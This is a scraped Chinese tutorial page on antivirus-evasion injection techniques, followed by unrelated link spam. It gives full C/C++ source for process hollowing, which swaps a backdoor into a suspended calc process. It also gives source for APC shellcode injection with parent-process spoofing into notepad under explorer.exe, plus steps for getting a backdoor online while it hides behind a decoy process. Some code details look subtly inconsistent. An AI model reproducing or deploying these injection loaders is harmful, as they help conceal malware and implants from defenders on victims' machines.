当前位置: 首页 > news >正文

电脑手机网站制作直接用ip做网站

电脑手机网站制作,直接用ip做网站,传奇网页游戏下载,保健品网站源码目录 进程镂空&傀儡进程(主要过内存扫描)代码 傀儡进程演示如何上线上线演示 APC注入&进程欺骗(主要过内存扫描)同步调用与异步调用代码演示 进程镂空&傀儡进程(主要过内存扫描) 进程镂空(Pro…

目录

  • 进程镂空&傀儡进程(主要过内存扫描)
          • 代码
        • 傀儡进程演示
        • 如何上线
        • 上线演示
  • APC注入&进程欺骗(主要过内存扫描)
        • 同步调用与异步调用
        • 代码
        • 演示

进程镂空&傀儡进程(主要过内存扫描)

进程镂空(Process Hollowing)
是一种防御规避的进程注入技术,以红队隐匿技能为主的辅助免杀手法

代码
#include <stdio.h>
#include <Windows.h>typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);int main(int argc, wchar_t* argv[])
{IN PIMAGE_DOS_HEADER pDosHeaders;IN PIMAGE_NT_HEADERS pNtHeaders;IN PIMAGE_SECTION_HEADER pSectionHeaders;IN PVOID FileImage;IN HANDLE hFile;OUT DWORD FileReadSize;IN DWORD dwFileSize;IN PVOID RemoteImageBase;IN PVOID RemoteProcessMemory;STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };CONTEXT ctx;ctx.ContextFlags = CONTEXT_FULL;si.cb = sizeof(si);char path[] = "HelloWorld.exe";BOOL bRet = CreateProcessA(NULL,(LPSTR)"calc",NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);//在本进程获取替换文件的内容hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);CloseHandle(hFile);pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头GetThreadContext(pi.hThread, &ctx); //获取挂起进程上下文#ifdef _WIN64ReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif//判断文件预期加载地址是否被占用pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase){NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件}//为可执行映像分配内存,并写入文件头RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);//逐段写入for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++){pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);}//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif//将eax寄存器设置为注入软件的入口点
#ifdef _X86_ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endifSetThreadContext(pi.hThread, &ctx); // 设置线程上下文ResumeThread(pi.hThread); // 恢复挂起线程CloseHandle(pi.hThread);CloseHandle(pi.hProcess);return 0;
}

1.创建一个挂起合法进程
2.读取执行代码
3.获取挂起进程上下文与环境信息
4.卸载挂起进程内存
5.写入执行代码
6.恢复挂起进程

傀儡进程演示
  • 将代码生成的程序打开,并用进程监控工具进行监控
    刚打开时会发现存在有这个进程。project1.exe

    然后等一下就发现它不见了。其实是变成了cmd.exe(变成什么进程我们是可以在代码里面控制的)

    控制的代码位置
如何上线
  • 这里有两种上线方式,一直是用后门程序,一种是用后门代码

    后门程序: 将你的后门程序写入代码中,让它去运行,如这里是HelloWorld.exe
    后门代码: 将你的后门代码写在这里
    这里推荐第二种方式(第一种必须要满足 两个程序都要实现免杀才行)
上线演示
  • 先生成一个上线程序
  • 将上线后门改成 HelloWorld.exe 与代码当中一样,和代码程序放在同一个目录
  • 运行 project1.exe,会发现已经上线,且进程里面没有project.exe 只有一个傀儡进程cmd.exe

APC注入&进程欺骗(主要过内存扫描)

APC全称为Asynchronous Procedure Call,叫异步过程调用,
是指函数在特定线程中被异步执行,在操作系统中是并发机制。

同步调用与异步调用

同步调用:
我们需要去烧水,首先我们先去需 要给水壶添水,然后将水壶连接上电之后,然后加热,等水烧开了然后取水,在烧水的等待的时间中,我们不去做任何事情。这就是同步。
异步调用:
就是我们在烧水的等待的过程中去干一些其他的事情,比如玩手机,打扫卫生等等。

流程
1、获取父进程PID
2、获取当前进程权限
3、创建并分配写入内存
4、写入SC并APC进行调用
APC注入 配合进程注入实现父进程欺骗

代码
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <fstream>
using namespace std;
DWORD getParentProcessID()
{HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);PROCESSENTRY32 process = { 0 };process.dwSize = sizeof(process);if (Process32First(snapshot, &process)){do{if (!wcscmp(process.szExeFile, L"explorer.exe")){printf("Find explorer failed!\n");break;}} while (Process32Next(snapshot, &process));}CloseHandle(snapshot);return process.th32ProcessID;
}
int main()
{unsigned char shellCode[] = "你的shellcode";STARTUPINFOEXA sInfoEX;PROCESS_INFORMATION pInfo;SIZE_T sizeT;//打开explorer进程获取当前进程所有权限HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());//用0填充数组ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));//初始化指定的属性列表,创建进程和线程InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);//设置进程属性并从堆中分配内存sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);//更新用于进程和线程创建的属性列表中的指定属性UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);CreateProcessA("C:\\Windows\\System32\\notepad.exe",NULL,NULL,NULL,TRUE,CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,NULL,NULL,reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),&pInfo);//分配内存LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);SIZE_T* lpNumberOfBytesWritten = 0;//写入内存BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);// APC调用QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);//启动线程ResumeThread(pInfo.hThread);CloseHandle(pInfo.hThread);return 0;
}
演示
  • 写入shellcode并生成程序
  • 这里我生成的程序是 project3.exe,执行程序,并用进程监控软件进行监控

    执行后会发现直接就是 notepad.exe,并没有像进程镂空那样先显示 Project1.exe 再转换为傀儡进程
http://www.yayakq.cn/news/509070/

相关文章:

  • 网站建设费用 百度文库如何用Python网站开发
  • 浙江省职业能力建设处网站wordpress更新之后字体发生变化
  • 泉州建站模板系统小程序商城页面设计
  • 建网站培训机构在线培训平台有哪些
  • 怎么安装免费的wordpress主题南昌seo建站
  • ps做图游戏下载网站有哪些内容茂名制作网站软件
  • 枣庄学习建设网站培训友情链接你会回来感谢我
  • 莱芜装修网站颜色搭配的网站
  • 威海企业网站建设ppt做的最好的网站
  • 如何用个门户网站做销售门户网站开发需求文档
  • 做网站是需要多少钱沈阳网站建设优化企业
  • 辽阳网站建设多少钱哈尔滨如何快速建站
  • 网站颜色搭配表电话交换机ip地址
  • 做分享衣服网站的初衷是什么wordpress自定义评论样式
  • 有个网站做字的图片小红书账号代运营
  • 专业做pc 手机网站湖南吧
  • 成都html5网站建设学校网络组建方案
  • wordpress网站模板怎么用网站建设社区
  • 济南正宗网站建设报价男女做网站
  • ps图做ppt模板下载网站有哪些校园网络拓扑图及网络方案
  • 个人做淘宝客网站要备案腾云网站建设怎么样
  • 可以做公司宣传的网站有哪些内容有做直播网网站的公司没有
  • jsp源码做网站怎么看网站的建站公司是哪个
  • 网站建设业动态网站建设收费标准信息
  • 县城网站怎么做石家庄优化
  • 山东中讯做网站怎么样商标注册申请官网
  • 做网站可不可以模仿中国房产网
  • 手机网站 像素百度seo公司报价
  • 北京网站开发优选ls20227最新腾讯新闻
  • 户外家具技术支持东莞网站建设梅龙高速施工企业